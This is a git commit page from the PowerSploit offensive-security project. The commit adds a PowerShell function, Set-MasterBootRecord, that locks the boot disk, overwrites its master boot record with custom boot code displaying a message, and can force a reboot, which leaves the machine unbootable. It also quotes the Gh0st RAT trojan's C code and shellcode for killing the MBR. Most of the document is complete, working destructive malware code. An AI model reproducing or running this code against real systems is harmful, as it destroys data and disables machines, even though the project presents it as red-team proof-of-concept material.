diff options
author | mattifestation <mattgraeber@gmail.com> | 2014-08-29 21:44:14 -0400 |
---|---|---|
committer | mattifestation <mattgraeber@gmail.com> | 2014-08-29 21:44:14 -0400 |
commit | 258c760c61c9a5b11852580c3e007c7fcb02df3d (patch) | |
tree | b68291ade2a3572c3935e5fabc2e2486fba47189 /Mayhem | |
parent | 2e00756b599f12c95461aca6d2fd6513b914c806 (diff) | |
download | PowerSploit-258c760c61c9a5b11852580c3e007c7fcb02df3d.tar.gz PowerSploit-258c760c61c9a5b11852580c3e007c7fcb02df3d.zip |
Adding MBR infector Set-MasterBootRecord
Diffstat (limited to 'Mayhem')
-rw-r--r-- | Mayhem/Mayhem.psm1 | 269 |
1 files changed, 268 insertions, 1 deletions
diff --git a/Mayhem/Mayhem.psm1 b/Mayhem/Mayhem.psm1 index a8cd424..0b4f843 100644 --- a/Mayhem/Mayhem.psm1 +++ b/Mayhem/Mayhem.psm1 @@ -1,4 +1,271 @@ -function Set-CriticalProcess +function Set-MasterBootRecord +{ +<# +.SYNOPSIS + + Proof of concept code that overwrites the master boot record with the + message of your choice. + + PowerSploit Function: Set-MasterBootRecord + Author: Matthew Graeber (@mattifestation) and Chris Campbell (@obscuresec) + License: BSD 3-Clause + Required Dependencies: None + Optional Dependencies: None + +.DESCRIPTION + + Set-MasterBootRecord is proof of concept code designed to show that it is + possible with PowerShell to overwrite the MBR. This technique was taken + from a public malware sample. This script is inteded solely as proof of + concept code. + +.PARAMETER BootMessage + + Specifies the message that will be displayed upon making your computer a brick. + +.PARAMETER RebootImmediately + + Reboot the machine immediately upon overwriting the MBR. + +.PARAMETER Force + + Suppress the warning prompt. + +.EXAMPLE + + Set-MasterBootRecord -BootMessage 'This is what happens when you fail to defend your network. #CCDC' + +.NOTES + + Obviously, this will only work if you have a master boot record to + overwrite. This won't work if you have a GPT (GUID partition table) +#> + +<# +This code was inspired by the Gh0st RAT source code seen here (acquired from: http://webcache.googleusercontent.com/search?q=cache:60uUuXfQF6oJ:read.pudn.com/downloads116/sourcecode/hack/trojan/494574/gh0st3.6_%25E6%25BA%2590%25E4%25BB%25A3%25E7%25A0%2581/gh0st/gh0st.cpp__.htm+&cd=3&hl=en&ct=clnk&gl=us): + +// CGh0stApp message handlers + +unsigned char scode[] = +"\xb8\x12\x00\xcd\x10\xbd\x18\x7c\xb9\x18\x00\xb8\x01\x13\xbb\x0c" +"\x00\xba\x1d\x0e\xcd\x10\xe2\xfe\x49\x20\x61\x6d\x20\x76\x69\x72" +"\x75\x73\x21\x20\x46\x75\x63\x6b\x20\x79\x6f\x75\x20\x3a\x2d\x29"; + +int CGh0stApp::KillMBR() +{ + HANDLE hDevice; + DWORD dwBytesWritten, dwBytesReturned; + BYTE pMBR[512] = {0}; + + // 重新构造MBR + memcpy(pMBR, scode, sizeof(scode) - 1); + pMBR[510] = 0x55; + pMBR[511] = 0xAA; + + hDevice = CreateFile + ( + "\\\\.\\PHYSICALDRIVE0", + GENERIC_READ | GENERIC_WRITE, + FILE_SHARE_READ | FILE_SHARE_WRITE, + NULL, + OPEN_EXISTING, + 0, + NULL + ); + if (hDevice == INVALID_HANDLE_VALUE) + return -1; + DeviceIoControl + ( + hDevice, + FSCTL_LOCK_VOLUME, + NULL, + 0, + NULL, + 0, + &dwBytesReturned, + NULL + ); + // 写入病毒内容 + WriteFile(hDevice, pMBR, sizeof(pMBR), &dwBytesWritten, NULL); + DeviceIoControl + ( + hDevice, + FSCTL_UNLOCK_VOLUME, + NULL, + 0, + NULL, + 0, + &dwBytesReturned, + NULL + ); + CloseHandle(hDevice); + + ExitProcess(-1); + return 0; +} +#> + + [CmdletBinding(SupportsShouldProcess = $True, ConfirmImpact = 'High')] Param ( + [ValidateLength(1, 479)] + [String] + $BootMessage = 'Stop-Crying; Get-NewHardDrive', + + [Switch] + $RebootImmediately, + + [Switch] + $Force + ) + + if (!([Security.Principal.WindowsPrincipal][Security.Principal.WindowsIdentity]::GetCurrent()).IsInRole([Security.Principal.WindowsBuiltInRole]'Administrator')) + { + throw 'This script must be executed from an elevated command prompt.' + } + + if (!$Force) + { + if (!$psCmdlet.ShouldContinue('Do you want to continue?','Set-MasterBootRecord prevent your machine from booting.')) + { + return + } + } + + #region define P/Invoke types dynamically + $DynAssembly = New-Object System.Reflection.AssemblyName('Win32') + $AssemblyBuilder = [AppDomain]::CurrentDomain.DefineDynamicAssembly($DynAssembly, [Reflection.Emit.AssemblyBuilderAccess]::Run) + $ModuleBuilder = $AssemblyBuilder.DefineDynamicModule('Win32', $False) + + $TypeBuilder = $ModuleBuilder.DefineType('Win32.Kernel32', 'Public, Class') + $DllImportConstructor = [Runtime.InteropServices.DllImportAttribute].GetConstructor(@([String])) + $SetLastError = [Runtime.InteropServices.DllImportAttribute].GetField('SetLastError') + $SetLastErrorCustomAttribute = New-Object Reflection.Emit.CustomAttributeBuilder($DllImportConstructor, + @('kernel32.dll'), + [Reflection.FieldInfo[]]@($SetLastError), + @($True)) + + # Define [Win32.Kernel32]::DeviceIoControl + $PInvokeMethod = $TypeBuilder.DefinePInvokeMethod('DeviceIoControl', + 'kernel32.dll', + ([Reflection.MethodAttributes]::Public -bor [Reflection.MethodAttributes]::Static), + [Reflection.CallingConventions]::Standard, + [Bool], + [Type[]]@([IntPtr], [UInt32], [IntPtr], [UInt32], [IntPtr], [UInt32], [UInt32].MakeByRefType(), [IntPtr]), + [Runtime.InteropServices.CallingConvention]::Winapi, + [Runtime.InteropServices.CharSet]::Auto) + $PInvokeMethod.SetCustomAttribute($SetLastErrorCustomAttribute) + + # Define [Win32.Kernel32]::CreateFile + $PInvokeMethod = $TypeBuilder.DefinePInvokeMethod('CreateFile', + 'kernel32.dll', + ([Reflection.MethodAttributes]::Public -bor [Reflection.MethodAttributes]::Static), + [Reflection.CallingConventions]::Standard, + [IntPtr], + [Type[]]@([String], [Int32], [UInt32], [IntPtr], [UInt32], [UInt32], [IntPtr]), + [Runtime.InteropServices.CallingConvention]::Winapi, + [Runtime.InteropServices.CharSet]::Ansi) + $PInvokeMethod.SetCustomAttribute($SetLastErrorCustomAttribute) + + # Define [Win32.Kernel32]::WriteFile + $PInvokeMethod = $TypeBuilder.DefinePInvokeMethod('WriteFile', + 'kernel32.dll', + ([Reflection.MethodAttributes]::Public -bor [Reflection.MethodAttributes]::Static), + [Reflection.CallingConventions]::Standard, + [Bool], + [Type[]]@([IntPtr], [IntPtr], [UInt32], [UInt32].MakeByRefType(), [IntPtr]), + [Runtime.InteropServices.CallingConvention]::Winapi, + [Runtime.InteropServices.CharSet]::Ansi) + $PInvokeMethod.SetCustomAttribute($SetLastErrorCustomAttribute) + + # Define [Win32.Kernel32]::CloseHandle + $PInvokeMethod = $TypeBuilder.DefinePInvokeMethod('CloseHandle', + 'kernel32.dll', + ([Reflection.MethodAttributes]::Public -bor [Reflection.MethodAttributes]::Static), + [Reflection.CallingConventions]::Standard, + [Bool], + [Type[]]@([IntPtr]), + [Runtime.InteropServices.CallingConvention]::Winapi, + [Runtime.InteropServices.CharSet]::Auto) + $PInvokeMethod.SetCustomAttribute($SetLastErrorCustomAttribute) + + $Kernel32 = $TypeBuilder.CreateType() + #endregion + + $LengthBytes = [BitConverter]::GetBytes(([Int16] ($BootMessage.Length + 5))) + # Convert the boot message to a byte array + $MessageBytes = [Text.Encoding]::ASCII.GetBytes(('PS > ' + $BootMessage)) + + [Byte[]] $MBRInfectionCode = @( + 0xb8, 0x12, 0x00, # MOV AX, 0x0012 ; CMD: Set video mode, ARG: text resolution 80x30, pixel resolution 640x480, colors 16/256K, VGA + 0xcd, 0x10, # INT 0x10 ; BIOS interrupt call - Set video mode + 0xb8, 0x00, 0x0B, # MOV AX, 0x0B00 ; CMD: Set background color + 0xbb, 0x01, 0x00, # MOV BX, 0x000F ; Background color: Blue + 0xcd, 0x10, # INT 0x10 ; BIOS interrupt call - Set background color + 0xbd, 0x20, 0x7c, # MOV BP, 0x7C18 ; Offset to string: 0x7C00 (base of MBR code) + 0x20 + 0xb9) + $LengthBytes + @( # MOV CX, 0x0018 ; String length + 0xb8, 0x01, 0x13, # MOV AX, 0x1301 ; CMD: Write string, ARG: Assign BL attribute (color) to all characters + 0xbb, 0x0f, 0x00, # MOV BX, 0x000F ; Page Num: 0, Color: White + 0xba, 0x00, 0x00, # MOV DX, 0x0000 ; Row: 0, Column: 0 + 0xcd, 0x10, # INT 0x10 ; BIOS interrupt call - Write string + 0xe2, 0xfe # LOOP 0x16 ; Print all characters to the buffer + ) + $MessageBytes + + $MBRSize = [UInt32] 512 + + if ($MBRInfectionCode.Length -gt ($MBRSize - 2)) + { + throw "The size of the MBR infection code cannot exceed $($MBRSize - 2) bytes." + } + + # Allocate 512 bytes for the MBR + $MBRBytes = [Runtime.InteropServices.Marshal]::AllocHGlobal($MBRSize) + + # Zero-initialize the allocated unmanaged memory + 0..511 | % { [Runtime.InteropServices.Marshal]::WriteByte([IntPtr]::Add($MBRBytes, $_), 0) } + + [Runtime.InteropServices.Marshal]::Copy($MBRInfectionCode, 0, $MBRBytes, $MBRInfectionCode.Length) + + # Write boot record signature to the end of the MBR + [Runtime.InteropServices.Marshal]::WriteByte([IntPtr]::Add($MBRBytes, ($MBRSize - 2)), 0x55) + [Runtime.InteropServices.Marshal]::WriteByte([IntPtr]::Add($MBRBytes, ($MBRSize - 1)), 0xAA) + + # Get the device ID of the boot disk + $DeviceID = Get-WmiObject -Class Win32_DiskDrive -Filter 'Index = 0' | Select-Object -ExpandProperty DeviceID + + $GENERIC_READWRITE = 0x80000000 -bor 0x40000000 + $FILE_SHARE_READWRITE = 2 -bor 1 + $OPEN_EXISTING = 3 + + # Obtain a read handle to the raw disk + $DriveHandle = $Kernel32::CreateFile($DeviceID, $GENERIC_READWRITE, $FILE_SHARE_READWRITE, 0, $OPEN_EXISTING, 0, 0) + + if ($DriveHandle -eq ([IntPtr] 0xFFFFFFFF)) + { + throw "Unable to obtain read/write handle to $DeviceID" + } + + $BytesReturned = [UInt32] 0 + $BytesWritten = [UInt32] 0 + $FSCTL_LOCK_VOLUME = 0x00090018 + $FSCTL_UNLOCK_VOLUME = 0x0009001C + + $null = $Kernel32::DeviceIoControl($DriveHandle, $FSCTL_LOCK_VOLUME, 0, 0, 0, 0, [Ref] $BytesReturned, 0) + $null = $Kernel32::WriteFile($DriveHandle, $MBRBytes, $MBRSize, [Ref] $BytesWritten, 0) + $null = $Kernel32::DeviceIoControl($DriveHandle, $FSCTL_UNLOCK_VOLUME, 0, 0, 0, 0, [Ref] $BytesReturned, 0) + $null = $Kernel32::CloseHandle($DriveHandle) + + Start-Sleep -Seconds 2 + + [Runtime.InteropServices.Marshal]::FreeHGlobal($MBRBytes) + + Write-Verbose 'Master boot record overwritten successfully.' + + if ($RebootImmediately) + { + Restart-Computer -Force + } +} + +function Set-CriticalProcess { <# .SYNOPSIS |